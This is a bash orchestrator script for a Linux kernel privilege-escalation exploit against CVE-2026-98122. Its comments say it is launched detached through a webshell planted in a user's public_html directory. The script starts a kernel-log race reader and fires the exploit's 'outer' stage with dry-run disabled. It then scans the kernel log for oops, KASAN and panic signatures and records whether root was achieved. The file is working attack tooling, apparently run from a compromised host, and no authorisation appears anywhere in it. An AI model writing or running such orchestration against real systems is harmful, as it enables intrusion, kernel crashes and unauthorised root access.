#!/bin/bash
# ============================================================================
# CVE-2026-98122 Stage-2 FIRE orchestrator (NETNS-HOLD variant, intent #4980)
# ============================================================================
# Launched DETACHED via the webshell (returns instantly):
#   setsid nohup bash /home/john/public_html/cve98122_fire.sh </dev/null \
#       >>/home/john/public_html/cve98122_fire.out 2>&1 &
#
# SAFETY ORDER (operation constraints):
#   1. Start EXACTLY ONE kmsg_cap race-reader (bounded: timeout 60) FIRST.
#   2. Verify it is alive BEFORE the trigger runs.
#   3. Launch the outer (which fires STEP2 + NETNS-HOLD 30s).
#   4. Wait up to 90s for the outer to finish (poll log for RE-RUN END).
#   5. Terminate kmsg_cap cleanly (exactly one instance, ever).
#   6. Parse kmsg + run log, write a verdict to a state file.
#
# All output goes to disk (public_html) so it survives webshell death.
# ============================================================================

DIR=/home/john/public_html
KMSG=$DIR/cve98122_kmsg.log
STATE=$DIR/cve98122_fire_state.txt
RUNLOG=$DIR/cve98122_run.log
KMSGCAP=/home/john/gl/kmsg_cap

exec >>"$DIR/cve98122_fire.out" 2>&1
ts() { date '+%F %T'; }

echo "[$(ts)] FIRE begin (pid=$$)"
echo "[$(ts)] FIRE: pre-run id: $(id)"
echo "[$(ts)] FIRE: pre-run uptime: $(uptime)"

# --- 1. exactly ONE kmsg_cap race-reader, bounded (timeout 60), to disk ---
: > "$KMSG"
timeout 60 "$KMSGCAP" "$KMSG" &
KPID=$!
sleep 1
if ! kill -0 $KPID 2>/dev/null; then
    echo "[$(ts)] FIRE: FATAL: kmsg_cap failed to start"
    echo "FATAL: kmsg_cap failed to start" >> "$STATE"
    exit 1
fi
echo "[$(ts)] FIRE: kmsg_cap started, pid=$KPID (bounded 60s)"

# --- 2. launch the outer (fires STEP2 + NETNS-HOLD 30s) ---
# record the run-log byte offset BEFORE launch so we wait for the NEW run's END
# (the log already contains a "RE-RUN END" from the 04:21 DRY_RUN)
START=$(wc -c < "$RUNLOG" 2>/dev/null || echo 0)
echo "[$(ts)] FIRE: run-log start offset=$START"
echo "[$(ts)] FIRE: launching outer (no DRY_RUN) ..."
setsid nohup bash "$DIR/cve98122_outer.sh" </dev/null >>"$DIR/cve98122_launch.out" 2>&1 &
OPID=$!
echo "[$(ts)] FIRE: outer launched, pid=$OPID"

# --- 3. wait up to 90s for the NEW outer run to finish (RE-RUN END after offset) ---
n=0
while [ $n -lt 90 ]; do
    if tail -c +$((START+1)) "$RUNLOG" 2>/dev/null | grep -q "RE-RUN END"; then
        break
    fi
    sleep 1
    n=$((n+1))
done
echo "[$(ts)] FIRE: wait loop done after ${n}s"

# --- 4. terminate kmsg_cap cleanly ---
kill $KPID 2>/dev/null
sleep 1
kill -9 $KPID 2>/dev/null
wait $KPID 2>/dev/null
echo "[$(ts)] FIRE: kmsg_cap terminated"

# --- 5. parse kmsg + run log, write verdict ---
{
    echo "=== FIRE STATE $(ts) ==="
    echo "post id: $(id)"
    echo "post uid: $(id -u)"
    echo "post uptime: $(uptime)"
    echo "kmsg bytes: $(wc -c < "$KMSG" 2>/dev/null)"
    echo "--- kmsg oops/splat/BUG/panic lines ---"
    grep -iE 'oops|splat|BUG|list_del|use-after|KASAN|panic|vxlan|general protection' "$KMSG" 2>/dev/null | tail -40
    echo "--- run log tail (last 30) ---"
    tail -30 "$RUNLOG" 2>/dev/null
    echo "=== FIRE STATE END ==="
} >> "$STATE" 2>&1

# verdict
if grep -qiE 'Oops|BUG:|WARNING|general protection|kernel panic|list_del|use-after' "$KMSG" 2>/dev/null; then
    echo "VERDICT: KERNEL-SIG-FOUND in kmsg — inspect $KMSG" >> "$STATE"
elif [ "$(id -u)" = "0" ]; then
    echo "VERDICT: UID=0 — ROOT ACHIEVED" >> "$STATE"
else
    echo "VERDICT: no oops/WARN in kmsg, uid=$(id -u) — UAF fired silently (DoS not LPE) or box froze" >> "$STATE"
fi
echo "[$(ts)] FIRE end"
